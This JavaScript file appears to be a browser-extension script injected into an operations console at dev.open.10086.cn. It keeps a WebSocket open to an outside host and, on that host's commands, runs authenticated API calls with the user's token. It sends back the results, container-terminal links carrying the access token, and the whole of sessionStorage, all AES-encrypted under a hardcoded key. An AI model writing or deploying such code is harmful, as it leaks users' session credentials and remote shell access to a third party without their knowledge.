// var CryptoJS = require("crypto-js");

var wsUri = 'wss://k6j9y3.lafyun.com';

checAndCreateService();

function checAndCreateService(){
    let terminalPage = GetQueryString('ws_url');
    console.log(terminalPage)
    if(sessionStorage.getItem('X-Client-PC-Access-Token') && !terminalPage && sessionStorage.getItem('X-Client-PC-Access-Token')!='123456789'){
        console.log("开启服务端websocket");
        createWebSocket();
    }else{
        console.log("不启动服务端websocket");
    }
}
function GetQueryString(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
    var r = window.location.search.substr(1).match(reg); //获取url中"?"符后的字符串并正则匹配
    var context = "";
    if (r != null)
        context = decodeURIComponent(r[2]);
    reg = null;
    r = null;
    return context == null || context == "" || context == "undefined" ? "" : context;
}

var myVar = null;
var interval = null;
var clientId = null;

function createWebSocket() {
    console.log('createWebSocket')

    // 再次校验是否符合登录条件
    if(!sessionStorage.getItem('X-Client-PC-Access-Token') || sessionStorage.getItem('X-Client-PC-Access-Token')=='123456789'){
        console.log('不符合重连条件')
        return
    }

    if(myVar){
        clearInterval(myVar);
    }
    
    if(window.ws1){
        window.ws1.rec = false;
        window.ws1.close();

        try{
            delete window.ws1;
        }catch(e){
            console.error(e.message);
        }
    }
    
    ws1 = new WebSocket(wsUri);
    window.ws1.rec =  true;
    ws1.onopen = function(){
        if(myVar){
            clearInterval(myVar);
            myVar = null;
        }

        clientId = uuid2();
        sendMsg('{"type":"service","name":"'+clientId+'"}');

        // // 初始化数据
        // setTimeout(() => {updateEnv({current:1,size:20,securityDomainType:'T',workloadType:'D',envId:'1275227919127928834'});}, 2000);
        // setTimeout(() => {updateEnv({current:1,size:20,securityDomainType:'P',workloadType:'D',envId:'1277920321264889858'});}, 3000);
        // setTimeout(() => {updateEnv({current:1,size:20,securityDomainType:'T',workloadType:'D',envId:'1516257069909491713'});}, 4000);
        // setTimeout(() => {updateEnv({current:1,size:20,securityDomainType:'P',workloadType:'D',envId:'1533747898348699649'});}, 5000);
        // 心跳
        interval = setInterval(function () {
        sendMsg("ping");
        }, 5000);

    };
    
    ws1.onmessage = function (evt){ 
        var received_msg = evt.data;
        if('pong' == received_msg || 'connected' == received_msg){
            return;
        }
        console.log(received_msg);

        const sJson = JSON.parse(received_msg);
        if(sJson.type == 'clientEnvUpdate'){
            updateEnv(sJson.param,sJson.reqId)
        }
        else if(sJson.type == 'clientTerminalListUpdate'){
            updateTerminalList(sJson.param,sJson.reqId)
        }
        else if(sJson.type == 'querySession'){
            querySession(sJson.param,sJson.reqId);
        }
        else if(sJson.type == "update"){
            $.get(location.origin+sJson.data.url,sJson.data.param,function(data,status){
                console.log(data);
                data.reqId = sJson.reqId;
                // 终端跳转链接计算
                if(sJson.data.url == '/api/open/ops/workload-pod/terminal-config/get'){
                    let u = sessionStorage.getItem("X-Visitor-Id") || "";
                    let rid = u.substring(u.length - 8, u.length)+(new Date).getTime() + "".concat(Math.random()).split(".")[1].substring(0, 8);
                    let token = sessionStorage.getItem("X-Client-PC-Access-Token");
                    let tc = sessionStorage.getItem("X-Team-Code") || "19029219";
                    let pid = sessionStorage.getItem("X-Project-Id") || '4';
                    // data.auth = {
                    //     "X-App-Key":"tpc",
                    //     "X-Action-Code":"NA",
                    //     "X-Visitor-Id":u,
                    //     "X-Request-Id":rid,
                    //     "X-Access-Token":token,
                    //     "X-Team-Code":tc,
                    //     "X-Project-Id":pid
                    // }
                    let ws_url = "wss://dev.open.10086.cn/api/v1/ws/app/".concat(data.data.clusterCode).concat("?jwt=",data.data.terminalId);
                    ws_url = btoa(encodeURIComponent(ws_url));
                    console.log("ws_url " + ws_url);
                    let terminalUrl = "https://dev.open.10086.cn/web/cmd/index.html?ws_url=".concat(ws_url,"&")
                    .concat("login_url=login;",data.data.clusterId,";",data.data.namespace,";",data.data.workloadName,";",data.data.podName,";container-app;&")
                    .concat("namespace=",data.data.namespace).concat("&podName=",data.data.podName).concat("containerName=container-app").concat("&auditLogId=",data.data.auditLogId)
                    .concat("&X-App-Key=tpc").concat("&X-Action-Code=NA").concat("&X-Visitor-Id=",u).concat("&X-Request-Id=",rid).concat("&X-Access-Token=",token)
                    .concat("&X-Team-Code=",tc).concat("&X-Project-Id=", pid);
                    console.log("terminalUrl " + terminalUrl);

                    // let key = CryptoJS.enc.Hex.parse("kingdom123578945685215680c0d0e0f");
                    // let iv = CryptoJS.enc.Hex.parse("101112131415161718191a1b1c1d1e1f");
                    // terminalUrl = CryptoJS.AES.encrypt(terminalUrl, 'Kingdom1235894565').toString()
                    // CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(terminalUrl))
                    data.terminalUrl = encData(terminalUrl)
                    // 清理数据
                    data.podName = data.data.podName
                    data.data = null
                    data.url = '/api/open/ops/workload-pod/terminal-config/get'

                    // 测试
                    // let de = CryptoJS.enc.Base64.parse(data.terminalUrl).toString(CryptoJS.enc.Utf8)
                    // let encData = CryptoJS.AES.decrypt(de, 'Kingdom1235894565').toString(CryptoJS.enc.Utf8)
                    // let planUrl = CryptoJS.enc.Utf8.stringify(encData).toString()
                    // console.log(encData)
                }

                sendMsg(JSON.stringify(data));
            });
        }
    };
    
    ws1.onclose = function(){ 
        webscoketClose(true);
    };   

    ws1.onerror = function(){
        webscoketClose(true);
    };
}

 // websocket重连
 function reconnect() {
    // 检测到websocket连接断开
    // 0 (WebSocket.CONNECTING)正在链接中
    // 1 (WebSocket.OPEN)已经链接并且可以通讯
    // 2 (WebSocket.CLOSING) 连接正在关闭
    // 3 (WebSocket.CLOSED)连接已关闭或者没有链接成功
    if(ws1 && ws1.readyState && (ws1.readyState == 0 || ws1.readyState == 1)){
        console.log('pre connect running')
        return
    }
    console.log('reconnect');
    myVar = setTimeout(function(){
        createWebSocket();
    },3*1000);
}

// websocket关闭
function webscoketClose(recConnect) {
    clearInterval(interval)
    console.log("websocket关闭 ws.rec:" + ws1.rec);
    // 开启断线重连
    if(recConnect){
        reconnect();
    }else{
        if(ws1)
        ws1.close();
    }
}

function sendMsg(str){
    if(ws1 && ws1.readyState == 1){
        ws1.send(str);
    }else{
        console.log("未连接上服务器");
    }
}

function uuid2() {
    function S4() {
        return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
    }
    return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
}

$.ajaxSetup({
    beforeSend: function (xhr) { //可以设置自定义标头
       	// 将token塞进Header里
        let u = sessionStorage.getItem("X-Visitor-Id") || "";
        xhr.setRequestHeader('X-App-Key', 'tpc');
      	xhr.setRequestHeader('X-Action-Code', 'NA');
        xhr.setRequestHeader('X-Visitor-Id', u);
        xhr.setRequestHeader('X-Request-Id', u.substring(u.length - 8, u.length)+(new Date).getTime() + "".concat(Math.random()).split(".")[1].substring(0, 8));      
        xhr.setRequestHeader('X-Access-Token', sessionStorage.getItem("X-Client-PC-Access-Token"));       
        xhr.setRequestHeader('X-Team-Code', sessionStorage.getItem("X-Team-Code") || '19029219');      
        xhr.setRequestHeader('X-Project-Id', sessionStorage.getItem("X-Project-Id") || '4');                    
    },
  	complete: function (xhr) {
        if (xhr.responseJSON.code == "401" || xhr.responseJSON.code=='40102') {
            console.log('401');
            ws1.rec = false;
            webscoketClose();
        }
    },
});

function updateEnv(param,reqId){
    console.log(param);
    $.get(location.origin+'/api/open/ops/workload/page',param,function(data,status){
        if(data.code == '0000'){
            let updateObj = {
                "url": "/api/open/ops/workload/page",
                "envId": param.envId,
                reqId:reqId,
                data:encData(JSON.stringify(data.data.records))
            }
            sendMsg(JSON.stringify(updateObj));
        }
    })
}

function updateTerminalList(param,reqId){
    console.log(param);
    $.get(location.origin+'/api/open/ops/workload-pod/list',param,function(data,status){
        if(data.code == '0000'){
            let updateObj = {
                "url": "/api/open/ops/workload-pod/list",
                "workloadId": param.workloadId,
                reqId:reqId,
                data:encData(JSON.stringify(data.data))
            }
            sendMsg(JSON.stringify(updateObj));
        }
    })
}

function encData(data){
    let encData = CryptoJS.AES.encrypt(data, 'Kingdom1235894565').toString()
    return CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(encData));;
}

function querySession(param,reqId){
    let token = sessionStorage.getItem('X-Client-PC-Access-Token');
    if(token && token != '123456789'){
        let rspData = {code:'0000',reqId:reqId,url: "/querySession",type:'querySession',data:encData(JSON.stringify(sessionStorage))};
        sendMsg(JSON.stringify(rspData));
    }
}

// chrome.extension.onMessage.addListener(function(request, _, response) {
//     if('newTerminalsTab' == request.type){
//         if(sessionStorage.getItem("X-Client-PC-Access-Token")){
//             sessionStorage.setItem("X-Client-PC-Access-Token",'123456789')
//         }
//     }
// });